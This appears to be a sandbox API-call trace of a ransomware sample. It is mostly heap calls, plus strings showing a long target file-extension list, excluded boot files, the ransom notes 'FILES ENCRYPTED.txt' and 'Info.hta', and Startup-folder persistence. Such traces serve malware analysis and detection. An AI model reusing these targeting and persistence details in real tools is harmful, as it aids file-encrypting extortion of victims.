	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x607650
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607668
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607020
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6070f8
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6071b8
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x607260
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607158
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607050
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607188
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607248
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6071e8
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6070e0
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6072d8
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x606ff0
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5de458
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607230
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607110
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607068
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607038
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607080
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6070b0
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607098
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6070c8
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607278
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x607200
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607128
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x6071a0
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607140
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607290
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6071d0
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607218
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6072a8
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x607170
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6072c0
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607008
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6075d8
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6073b0
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6073e0
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6074d0
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607440
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6072f0
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6073f8
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607308
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607410
	[0151.181] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6074b8
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607380
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607428
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607350
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607458
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607398
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x607320
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x12) returned 0x5b6790
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6073c8
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607590
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6075a8
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6074e8
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607368
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607338
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6075c0
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607470
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607500
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607488
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6074a0
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607548
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607518
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607530
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607560
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607578
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607d20
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607c00
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607d38
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607cd8
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x607cf0
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x607ee8
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x607cc0
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x607d08
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x607d50
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5de298
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607c78
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5de108
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607c18
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607e10
	[0151.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607e28
	[0151.183] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x607e40
	[0151.183] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x607c90
	[0151.183] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607ca8
	[0151.183] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x607c30
	[0151.183] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607df8
	[0151.183] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607d68
	[0151.183] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x607c48
	[0151.183] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607d80
	[0151.183] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x607d98
	[0151.183] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x607c60
	[0151.183] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607db0
	[0151.183] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5de288
	[0151.183] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607dc8
	[0151.183] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607e58
	[0151.183] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6077c8, Size=0x800) returned 0x6083d8
	[0151.183] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776
	[0151.183] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e5280 | out: hHeap=0x5a0000) returned 1
	[0151.183] lstrlenW (lpString="") returned 0
	[0151.183] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x609330 | out: hHeap=0x5a0000) returned 1
	[0151.183] lstrlenW (lpString=".GTF") returned 4
	[0151.183] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5de338, Size=0x8) returned 0x5de0f8
	[0151.183] lstrlenW (lpString=".GTF") returned 4
	[0151.183] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x609258 | out: hHeap=0x5a0000) returned 1
	[0151.184] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6092e8, Size=0x20) returned 0x5dd958
	[0151.184] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5dd958, Size=0x40) returned 0x5b7748
	[0151.184] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b7748, Size=0x80) returned 0x5e52a8
	[0151.184] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5de338, Size=0x8) returned 0x5de098
	[0151.184] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5de098, Size=0x10) returned 0x6092e8
	[0151.184] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6092e8, Size=0x20) returned 0x5ddc00
	[0151.184] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48
	[0151.184] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e52a8 | out: hHeap=0x5a0000) returned 1
	[0151.184] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x609330, Size=0x20) returned 0x5dda98
	[0151.184] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5dda98, Size=0x40) returned 0x5b7430
	[0151.184] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19
	[0151.184] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19
	[0151.184] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b7430 | out: hHeap=0x5a0000) returned 1
	[0151.184] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x609330, Size=0x20) returned 0x5dd9a8
	[0151.184] lstrlenW (lpString="Info.hta") returned 8
	[0151.184] lstrlenW (lpString="Info.hta") returned 8
	[0151.184] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dd9a8 | out: hHeap=0x5a0000) returned 1
	[0151.184] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6093e8, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fvppjh.exe")) returned 0x47
	[0151.184] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x6093e8 | out: hHeap=0x5a0000) returned 1
	[0151.184] lstrlenW (lpString="fvppjh.exe") returned 10
	[0151.184] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ddc00, Size=0x40) returned 0x5b7af0
	[0151.184] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x609288, Size=0x20) returned 0x5ddc00
	[0151.184] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x609288, Size=0x20) returned 0x5ddb60
	[0151.184] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ddb60, Size=0x40) returned 0x5b7700
	[0151.184] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b7700, Size=0x80) returned 0x5e5c38
	[0151.184] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e5c38, Size=0x100) returned 0x629d68
	[0151.184] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0151.184] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x629d68 | out: hHeap=0x5a0000) returned 1
	[0151.184] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x6093e8, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc
	[0151.185] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x6193f0 | out: hHeap=0x5a0000) returned 1
	[0151.185] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x6093e8 | out: hHeap=0x5a0000) returned 1
	[0151.388] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5de138, Size=0x8) returned 0x5de188
	[0151.389] lstrlenW (lpString="%windir%;") returned 9
	[0151.389] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ddc00 | out: hHeap=0x5a0000) returned 1
	[0151.390] lstrlenW (lpString="C:\\WINDOWS;") returned 11
	[0151.390] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5f6fb8 | out: hHeap=0x5a0000) returned 1
	[0151.397] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x608d90, Size=0x20) returned 0x5dda70
	[0151.397] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5dda70, Size=0x40) returned 0x61f000
	[0151.398] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x61f000, Size=0x80) returned 0x5e55d8
	[0151.398] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e55d8, Size=0x100) returned 0x629948
	[0151.398] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5de0b8, Size=0x8) returned 0x5de1d8
	[0151.398] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5de1d8, Size=0x10) returned 0x608d90
	[0151.398] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x608d90, Size=0x20) returned 0x5ddcc8
	[0151.398] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5de238, Size=0x8) returned 0x5de098
	[0151.398] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5de138, Size=0x8) returned 0x5de0b8
	[0151.398] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5de1a8, Size=0x8) returned 0x5de0c8
	[0151.398] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5de0c8, Size=0x10) returned 0x608d60
	[0151.398] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x608d60, Size=0x20) returned 0x5ddd18
	[0151.398] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5de098, Size=0x10) returned 0x608ef8
	[0151.398] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5de0b8, Size=0x10) returned 0x608d60
	[0151.399] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5de258, Size=0x8) returned 0x5de1f8
	[0151.399] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5de1a8, Size=0x8) returned 0x5de098
	[0151.399] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x608ef8, Size=0x20) returned 0x5dd9d0
	[0151.399] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x608d60, Size=0x20) returned 0x5dda70
	[0151.399] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5de0b8, Size=0x8) returned 0x5de0d8
	[0151.399] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0151.399] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x629948 | out: hHeap=0x5a0000) returned 1
	[0151.399] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x620890, Size=0x20) returned 0x5dda98
	[0151.399] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x5f6fb8, nSize=0x7fff | out: lpDst="C:") returned 0x3
	[0151.399] lstrlenW (lpString="C:\\") returned 3
	[0151.399] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0151.400] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5f6fb8 | out: hHeap=0x5a0000) returned 1
	[0151.400] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x28) returned 0x5b5730
	[0151.400] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x61fe70
	[0151.400] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5de278
	[0151.400] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x14) returned 0x5b6310
	[0151.400] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x61fea0
	[0151.400] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x80) returned 0x5e5330
	[0151.400] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x61ff90
	[0151.400] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x82) returned 0x63bf50
	[0151.400] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x61ff18
	[0151.400] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5de208
	[0151.400] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x620020
	[0151.400] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x80) returned 0x5e5908
	[0151.400] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x61ff30
	[0151.401] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x2) returned 0x5de238
	[0151.401] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5de248
	[0151.401] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x61fd38
	[0151.401] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x80) returned 0x5e5990
	[0151.401] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x61fe10
	[0151.401] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5de138
	[0151.401] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5de238, Size=0x82) returned 0x62aad0
	[0151.401] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5de138, Size=0x100) returned 0x62a290
	[0151.401] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x61fdf8
	[0151.401] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x82) returned 0x62ab60
	[0151.401] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x61fe28
	[0151.401] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x82) returned 0x62abf0
	[0151.401] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x62ab60, Size=0x104) returned 0x620a00
	[0151.401] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e5330, Size=0x100) returned 0x629948
	[0151.401] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x62aad0, Size=0x104) returned 0x62aad0
	[0151.401] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x62a290, Size=0x200) returned 0x620b10
	[0151.402] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5de248 | out: hHeap=0x5a0000) returned 1
	[0151.402] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x620b10 | out: hHeap=0x5a0000) returned 1
	[0151.402] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x61fe10 | out: hHeap=0x5a0000) returned 1
	[0151.402] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e5908 | out: hHeap=0x5a0000) returned 1
	[0151.402] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x620020 | out: hHeap=0x5a0000) returned 1
	[0151.402] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e5990 | out: hHeap=0x5a0000) returned 1
	[0151.402] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x61fd38 | out: hHeap=0x5a0000) returned 1
	[0151.402] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x62aad0 | out: hHeap=0x5a0000) returned 1
	[0151.402] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x61ff30 | out: hHeap=0x5a0000) returned 1
	[0151.402] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x620a00 | out: hHeap=0x5a0000) returned 1
	[0151.402] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x61fdf8 | out: hHeap=0x5a0000) returned 1
	[0151.402] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x62abf0 | out: hHeap=0x5a0000) returned 1
	[0151.402] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x61fe28 | out: hHeap=0x5a0000) returned 1
	[0151.402] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x5de238
	[0151.402] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x61fdb0
	[0151.403] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x61fdb0, Size=0x20) returned 0x5dd9f8
	[0151.403] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5dd9f8, Size=0x40) returned 0x61f000
	[0151.403] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x61ff48
	[0151.403] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5de278 | out: hHeap=0x5a0000) returned 1
	[0151.403] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x61fe70 | out: hHeap=0x5a0000) returned 1
	[0151.403] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x63bf50 | out: hHeap=0x5a0000) returned 1
	[0151.403] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x61ff90 | out: hHeap=0x5a0000) returned 1
	[0151.403] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x629948 | out: hHeap=0x5a0000) returned 1
	[0151.403] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x61fea0 | out: hHeap=0x5a0000) returned 1
